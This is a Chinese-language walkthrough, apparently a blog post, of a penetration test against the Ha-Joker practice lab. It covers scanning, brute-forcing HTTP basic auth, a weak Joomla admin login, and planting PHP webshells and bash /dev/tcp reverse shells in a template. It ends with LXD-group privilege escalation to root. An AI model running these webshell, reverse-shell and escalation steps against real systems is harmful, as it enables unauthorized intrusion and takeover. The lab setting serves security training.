• 基于Ha-Joker靶场的完整渗透测试演示直至提权(root)


    信息收集

    1. ┌──(root㉿kali)-[~]
    2. └─# arp-scan -l # 通过ARP-scan进行快速的主机发现, 如下图我们猜测10.10.10.138可能是目标主机

    1. ┌──(root㉿kali)-[~]
    2. └─# nmap -sS -sV -p- -T4 10.10.10.138 #之后通过nmap对目标机进行深入探测
    3. -A : 全扫描,详细扫描目标IP信息
    4. -v : 显示扫描过程
    5. -sS : SYN的半开扫描,不易被发现
    6. -sV : 扫描服务的版本信息
    7. -p- : 全端口扫描,相当于(-p 1-65535
    8. -T : 扫描线程,最高6

     通过nmap扫描得到的信息我们发现目标开放了80和8080服务,通过验证80端口的web服务没有利用点属于纯静态页面;但是可以遍历出一些信息便于我们之后构造爆破字典
    8080的http服务我们可以尝试爆破获取其username,password

    1. 通过Dirsearch进行目录遍历
    2. ┌──(root㉿kali)-[~/Downloads/dirsearch]
    3. └─# ./dirsearch.py -e jsp,php,html -u 10.10.10.138 -r ==recursion-depth 3 --recursion-status 200

    1. 通过dirb进行遍历
    2. ┌──(root㉿kali)-[~/Downloads]
    3. └─# dirb http://10.10.10.138

    BurpSuite爆破

    抓取GET认证数据包,将其发送到Repeater模块

     我们发现其加密方式为Base64加密;并且用户名和密码通过:冒号分隔

     接下来设置爆破时的payload

     同样给位置2设置一个字典

     选择好需要爆破的变量之后开始Attack

     如下图所示,经过base64解码之后得到其用户名和密码
    joker:hannah

     漏洞挖掘

    接下来我们使用AWVS对其8080的web站点进一步扫描(提前配置好登陆的用户名和密码),评估其威胁性

    1. 通过AWVS的资产评估,我们发现了Joomla的管理员后台登录界面
    2. http://10.10.10.138:8080/administrator/

     又在公网上对此cms进行信息收集,发现存在弱口令joomla:joomla;登录到后台之后接下来就好办了

     对其后台探究一番之后,发现其模块处可能存在漏洞可以利用

    漏洞利用

    冰蝎连接Webshell

    在随机挑一个模板,在其中写入shell,尝试能否用冰蝎连接上
    下方演示是将其写入到模板的index.php中,也可以写入到error.php中只要之后触发错误界面从而触发此文件中的shell即可

    1. 访问如下链接(通过扫描器爬取判断路径)来抓取其请求头信息(身份认证)
    2. http://10.10.10.138:8080/templates/beez3/index.php

     新增Shell

    冰蝎Webshell连接成功

    蚁剑连接Webshell

    1. 在模板中写入一句话木马
    2. @eval($_POST['ggbond']);
    3. ?>
    4. 记得保存

     配置蚁剑1

     添加请求头

    中国蚁剑连接成功

    反弹Shell连接服务器

    1. 将如下命令插到模板中(-c意思是调用bash命令环境,将标准输入发送到10.10.10.128机器)
    2. exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/7777 0>&1'");
    3. 保存

    Kali机器监听

    1. 攻击机kali先开启监听
    2. ┌──(root㉿kali)-[~]
    3. └─# nc -lvp 7777 # 端口与插入模板中的反弹shell端口一致
    4. 监听开启之后访问插入shell的页面
    5. http://10.10.10.138:8080/templates/beez3/index.php
    6. netcat命令解析
    7. -l : 监听
    8. -p : 监听本地端口
    9. -n : 指定IP
    10. -v : 熟悉详细信息
    11. -h : 帮助

    kali反弹Shell成功连接

    windows(10.10.10.149)机器监听

    1. windows自身没装nc命令,需要手动安装
    2. 记得更改插入模板的监听主机IP呦
    3. exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.149/7777 0>&1'");
    4. 同样先打开监听7777端口之后访问页面
    5. http://10.10.10.138:8080/templates/beez3/index.php

    windows反弹Shell连接成功

    小彩蛋

    使用Kali自带的反弹Shell

    1. Kali也有自带的反弹Shell
    2. ┌──(root㉿kali)-[~/Downloads]
    3. └─# cat /usr/share/webshells/php/php-reverse-shell.php

    1. # 原理一样将其shell插入到后台模板中,记得修改监听地址和端口喔
    2. $ip = '10.10.10.128'; // CHANGE THIS
    3. $port = 7777; // CHANGE THIS
    4. 之后访问下面链接
    5. http://10.10.10.138:8080/templates/beez3/index.php

    反弹Shell成功

     到现在为止我们只是拿到了网站后台的管理员权限并非后台系统权限,接下来我们进行lxd组提权 ~~

    提权

    要想提权我们得知道Linux相关版本,之后通过版本找对应是否有爆出的漏洞加以利用

    1. 通过cat /etc/*release 命令查看Linux内核相关配置信息;我们发现此靶场是18.04版的linux
    2. $ cat /etc/*release
    3. DISTRIB_ID=Ubuntu
    4. DISTRIB_RELEASE=18.04
    5. DISTRIB_CODENAME=bionic
    6. DISTRIB_DESCRIPTION="Ubuntu 18.04.3 LTS"
    7. NAME="Ubuntu"
    8. VERSION="18.04.3 LTS (Bionic Beaver)"
    9. ID=ubuntu
    10. ID_LIKE=debian
    11. PRETTY_NAME="Ubuntu 18.04.3 LTS"
    12. VERSION_ID="18.04"
    13. HOME_URL="https://www.ubuntu.com/"
    14. SUPPORT_URL="https://help.ubuntu.com/"
    15. BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
    16. PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
    17. VERSION_CODENAME=bionic
    18. UBUNTU_CODENAME=bionic
    19. www-data@ubuntu:/tmp$ id # 通过查看id发现此用户属于lxd组用户;之后我们便可以猜想是否可以将lxd组用户提权至root用户
    20. id
    21. uid=33(www-data) gid=33(www-data) groups=33(www-data),115(lxd)
    1. ┌──(root㉿kali)-[~/dirtycow]
    2. └─# searchsploit Ubuntu 18.04 # 在kali中查看是否存在其相应的提权EXP,发现可以尝试LXD提权
    3. ┌──(root㉿kali)-[~/dirtycow]
    4. └─# searchsploit -p 46978 # 查看相关EXP的详细信息
    5. ┌──(root㉿kali)-[~/dirtycow]
    6. └─# cat /usr/share/exploitdb/exploits/linux/local/46978.sh # 查看使用说明

    下载EXP

    1. ┌──(root㉿kali)-[~]
    2. └─# git clone https://github.com/saghul/lxd-alpine-builder.git
    3. ┌──(root㉿kali)-[~]
    4. └─# cd lxd-alpine-builder
    5. ┌──(root㉿kali)-[~/lxd-alpine-builder]
    6. └─# ls
    7. alpine-v3.13-x86_64-20210218_0139.tar.gz build-alpine LICENSE README.md
    8. ┌──(root㉿kali)-[~/lxd-alpine-builder]
    9. └─# ./build-alpine # 运行脚本构建最新alpine镜像

    1. 确保本地web服务开启便于将本地编译好的apline镜像传到目标机
    2. ┌──(root㉿kali)-[~/lxd-alpine-builder]
    3. └─# systemctl status apache2.service
    1. 将镜像复制到html目录下并且更改权限777方便目标机wget
    2. ┌──(root㉿kali)-[/var/www/html]
    3. └─# cp /root/lxd-alpine-builder/alpine-v3.16-x86_64-20221021_0836.tar.gz ./
    4. 之后回到反弹Shell界面将其从kali上wget下来
    5. www-data@ubuntu:/opt/joomla/templates/beez3$ cd /tmp
    6. www-data@ubuntu:/tmp$ wget http://10.10.10.128/alpine-v3.16-x86_64-20221021_0836.tar.gz

    1. 导入镜像
    2. www-data@ubuntu:/tmp$ lxc image import ./alpine-v3.16-x86_64-20221021_0836.tar.gz --alias myimage

    1. 初始化镜像
    2. www-data@ubuntu:/tmp$ lxc init myimage ignite -c security.privileged=true

    1. 挂载磁盘
    2. www-data@ubuntu:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

    1. 启动镜像
    2. www-data@ubuntu:/tmp$ lxc start ignite
    3. 进入镜像,此时我们便可以通过root用户访问任意文件了
    4. www-data@ubuntu:/tmp$ lxc exec ignite /bin/sh

    LXD提权成功

     进入到挂载文件中最终找到了靶机flag
    cd /mnt/root/root
    cat final.txt

  • 相关阅读:
    Shell test 命令
    解决SpringMVC在JSP页面取不到ModelAndView中数据
    React refers to UMD global, but the current file is a module vite初始化react项目
    第12章 项目沟通管理和干系人管理
    java观察者模式
    利用lvm扩大已有分区
    想要精通算法和SQL的成长之路 - 填充书架
    Redis持久化机制
    uni-app中使用computed解决了tab切换中data()值显示的异常
    Keil5中复制粘贴中文乱码解决
  • 原文地址:https://blog.csdn.net/WJ_11_13/article/details/127454680